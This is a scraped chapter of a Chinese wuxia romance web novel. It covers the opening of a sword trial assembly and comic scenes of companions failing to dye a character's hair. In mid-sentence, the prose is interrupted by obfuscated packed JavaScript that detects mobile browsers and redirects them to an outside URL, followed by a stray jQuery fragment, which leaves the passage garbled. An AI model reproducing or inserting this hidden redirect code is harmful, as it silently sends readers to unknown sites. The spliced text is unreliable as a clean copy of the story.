115. 照影

作品:《救命,有狗

    “登云梯……”


    俞劭念出石碑上的字,望向碑旁的千级台阶。


    有人身着劲装,背负刀剑;有人布衣草鞋,神色好奇;有人闲庭信步,好似游山玩水。


    众人拾级而上,无一人施展轻功飞渡。


    俞劭正疑惑时,后方传来一道浑厚的声音。


    “兄弟,第一次来参加试剑大会吧?”他显然是自来熟的性子,开始说个不停:“这步行上山啊,可不是因为这登云梯有什么特殊,纯粹是为了体现对大会的尊重。你啊,要是不想爬,飞上去也可以,像我这种,就顶多在心里骂你几句。不过啊,嘿嘿,要是遇见武功比你高还看你不顺眼的,那你就倒霉了。”


    “原来是这样。”俞劭恍然,冲他道谢。


    那人挥了挥手,就此离去。


    “不过,怎么感觉人这么少?”


    放眼望去,台阶上尽是密密麻麻的人影,但仔细看,还有不少空隙,这与往届比肩迭踵、掎裳连袂的盛况相比,简直可以用“零星”二字来形容


    “不知道。”鸦青一脚踏上石阶就是爬。


    而先前说话那名男子听到俞劭的问题,又倒退着走了下来。


    “兄弟,你从哪来的?”


    俞劭眼珠子一转,说了个地名:“临济,怎么了?”


    男子诧异挑眉,“临济?你家那边又是地动又是海啸的,你不知道吗?”


    俞劭露出恰到好处的震惊:“什么时候的事?我出发得早,没有听说过。”


    “地动、山崩呢?这一路以来,你总该遇到过一两次吧?”男子见他眼神迷茫,多问了一句:“至少也该听过吧?”


    “哦,我还以为是我倒霉呢?”


    “额……”他愣了一下,旋即大笑,指着台阶上方说:“那你可千万别想用轻功飞上去。看着吧,今年许多人都没能按时到场,这试剑大会的规则,肯定会变!”


    “会变么……”俞劭楠楠,这次没有人回答他的问题,等回过神来,便也开始攀登。


    此处地势开阔,只因位于高处,风带着些凉意。


    踏上最后一级台阶,举目千里,偶有鹰隼或飞掠、或盘桓。


    “嘘——”


    鸦青抬高手臂,一只燕隼听见口哨声,停在了她的胳膊上。


    “我喜欢这里。”她显然很高兴,揉了揉燕隼的脑袋,莞尔展臂。


    燕隼腾空,飞向巨大的青砖广场,沿着八座气势恢宏的比武台盘旋一周,俯冲向中央的高台,低空掠过青石地板,在触及台上如龙蛇飞舞般的三个大字后,挺身冲上云霄——


    青云台。


    “少主的名字,会在这里响彻天下。”


    “咚——”


    浑厚到近乎实质的钟声响彻广场,人们不约而同地安静下来,看向北边的观礼台。


    一名身着月白银边锦袍的年轻女子坐在那里,她似乎也在等,但在漫长的沉默后,她终于意识到身边没有人这个事实,站了起来。


    “诸位。”


    话语中暗含真气,足以让在场的每一个人听到。


    俞劭:“那不是慕天心吗?”


    鸦青:“嗯。”


    “我……”


    慕天心用余光瞥向台下,有弟子在朝她疯狂使眼色。


    “……欢迎来到试剑大会。吾乃东剑阁阁主,慕天心。


    “近月以来,天灾频发,许多武者未能在今日到场。众门派商议过后,决定——比试照常举行。”


    不等台下唏嘘,慕天心继续道:“今年的试剑大会新增一条规则。凡同宗弟子,有一人晋级,后来者同样视为晋级;至于散修,可以临时抱团,一同参赛。其余一切照旧。”


    俞劭:“这就完了?”


    鸦青:“嗯。”


    俞劭:“真完了?”


    鸦青:“嗯!”


    她似乎觉得不够,掰过俞劭的脑袋,正对着他重重点了下头。


    慕天心对试剑大会的流程好像不是很熟悉,不对,可以去掉这个“好像”,简短的两三句话后,就宣布比试开始了。


    如今,试剑大会照常进行,端看俞劭与鸦青能否坚持到褚爻赶来。


    “也不知道若筠他们在做什么……”


    褚爻?


    褚爻正蹲在河边反思。


    她左右分别是柏衢和季知禅。


    柏衢:“为什么我也要蹲?”


    褚爻:“因为你是人。”


    柏衢:“……?”


    褚爻:“他现在看谁都不爽。”


    柏衢:“能举报他虐待残疾人吗?”


    季知禅:“可以,你去报官,吊销他的行医资格。”


    褚爻捂住他的嘴,只觉芒刺在背,过了一会,身后没有动静,她才移开手掌,改为掐住季知禅的下巴。


    “都怪你。”


    季知禅不语,只是一味地含住她掌心的肉。


    褚爻狠狠瞪了他一眼,撤回右手。


    季知禅将手指伸进水里,戳了戳褚爻的脸颊。倒影微微扭曲,好像真的被戳中了似的。


    “想干嘛?”褚爻挠了挠脸颊,声音和呼吸一样轻。


    季知禅手指右移,点在她的唇上。


    褚爻冲水面抬了抬下巴,“你去亲啊。”


    “噗通!噗通!”


    季知禅把褚爻拉下水,飞速凑近,想去吻她,却没能得逞。


    褚爻扬手泼了他一脸水,看见他呆若木鸡的样子,不禁笑出声来。


    柏衢抹了一把脸,重新睁开眼,就见褚爻一脸惊恐地游向季知禅,还不忘问她:“你能下水吗?”


    “可以取下来。”柏衢看了一眼身后,脑子一热,飞速卸下义肢,也跳下水。


    江旻冷着脸端起一盆黑色的液体,正要泼向他们。


    肢体触碰到冰凉的河水,柏衢终于反应过来:“等等,为什么我不从岸上跑?”


    “没错,为什么?”季知禅说完,拉着褚爻沉入水中,又朝柏衢的方向挥出一道真气,只差把排外两个字写在脸上了。


    “没关系。”这道真气没给柏衢造成多大阻碍,但她忽略了一件事——她不会水。


    “我们三个一定能游出去的。”柏衢在黑色的液体彻底落下前,拽住褚爻的手臂,放任自己沉入水中。


    “咕噜噜噜噜噜……”


    时间回到三个时辰前。


    褚爻在柏衢的新轮椅旁停下,俯身敲了敲她的大腿,没有木头声,甚至还有回弹的感觉。


    “做义肢的手艺可真不错。”


    柏衢淡淡回答:“这是我自己的腿。”


    褚爻冷哼一声,勾着轮椅腿转到面对自己的方向。


    “你一直盯着他看做什么?”


    柏衢一愣,旋即反应过来,“我没在打他的主意,他就是变成老翁,我的腿也长不回来。”


    这时,江旻回头看了她们一眼。


    褚爻立刻丢下柏衢,大步走向河边。


    江旻的目光随着褚爻的步伐缓缓后退,在她于身侧站定时,垂眸转头,看向水中的倒影。


    华服锦绣,流水粼粼,令原本秀雅的面容带上几分华艳的昳丽,像只欲振翅的蝴蝶。


    他略笑,眼中漾开碎星似的光,若春水淬剑,显露出内敛的锋芒。


    一片落花悄然坠下,搅碎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966834|152219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涟漪,将倒影慢慢蚕食。


    “不是说一点没变吗?”


    褚爻侧身挡住江旻的视线,不让他看水中摇曳而破碎的倒影。


    “我说你好看这一点没变。”


    江旻抬头,露出未曾老去的容颜,皎如玉树。在日光下,像一块包浆的暖玉。


    借着光,褚爻看清了他眼下几条浅淡的褶皱,但也仅此而已了。细纹不长他年岁,反倒更见风骨。


    眼窝也变得更加深邃了,被暖金色泽铺满……不再折射出锋芒,而于眼中沉静,像疲惫的蝴蝶,收敛翅膀,垂落在地——


    没有人会再将他当做弱冠少年。


    “你哄骗他人的话术,是越来越高明了。”


    “把‘骗’字去掉。”


    江旻摸了摸鬓角,经过打理的头发没有之前那样粗糙,如霜如雪。


    “别人一夜白头,是头发全白了,怎么到我这里,还要吊着一截原来的发色?黑白驳杂,好丑。”


    “这样挺有特色的,显得你更加不同凡响。”褚爻说完,往后退了两步。


    “那你退什么?”


    “我这不是将位置让出来,好让你照影吗?”


    江旻用真气扫起一块石子,“我要染头发。”


    褚爻等被石子打中,才往一旁躲去,“好!染,马上染!”


    “让季知禅来。”


    还记恨着呢……


    褚爻现在当然要顺着江旻,于是季知禅来了:“染白,还是黑?”


    江旻幽幽道:“你说呢?”


    季知禅又走了。


    临走之前,褚爻特意叮嘱他,江旻要染黑发。


    季知禅很快端着一个瓷碗回来,里面是黑色的染料。


    “怎么染?”


    褚爻托起一把江旻的头发,微微拉直,“把染料抹上去,然后……”


    不等她说完,季知禅一把将碗倒扣下来。


    “啊啊啊啊啊——”


    季知禅一边抹江旻头上的墨汁,一边疑惑地看向褚爻,“不是这样吗?”


    江旻怔怔的,黑色的染料已经顺着脸颊滴到了衣袍上。


    在这仿佛相安无事的三息内,褚爻想,到底是该把季知禅摁到水里,还是把江旻放水里洗一洗?


    “砰!”


    江旻愤然起身,碰掉了季知禅手中的瓷碗,手指颤抖地指着季知禅点了点,一个字也没能说出口,径直往寝室走去。


    “额……”褚爻试探地拽住江旻的衣袖,“要不等会?反正染完了都要冲,到时候一起洗吧?”


    江旻缓缓转过头,一张脸已经真的黑得如墨一般了。


    这时,柏衢从侧面递来一张打湿水的手巾,褚爻顺手塞给季知禅。


    “愣着做什么?”褚爻转向江旻,“哈哈,擦一擦,擦一擦就好了……”


    褚爻拉着江旻重新坐下,让季知禅端来新的染料,亲手给江旻染发。


    好在江旻没坚持要求季知禅来,只是他气头一过,在染料的清香中闻到了一些咸腥的味道。


    “这染料的味道,怎么闻起来怪怪的……”


    他一个激灵,蓦地站起,“这什么?”


    季知禅一边抹他头发,一边回答:“乌鲗汁。”


    江旻转身就要摔碗,褚爻眼皮一跳,迅速将碗递给柏衢。


    柏衢不知道自己为什么要接,但事实就是,她和褚爻、季知禅一起,都被江旻赶到了河边罚蹲。


    江旻最后又让他们以醋浆煮豆,在发现这群人不是染色不均就是染出来的头发掉色,且折腾了自己一天后,还是没染成。


    “毛手毛脚的,要是阿青在这里……”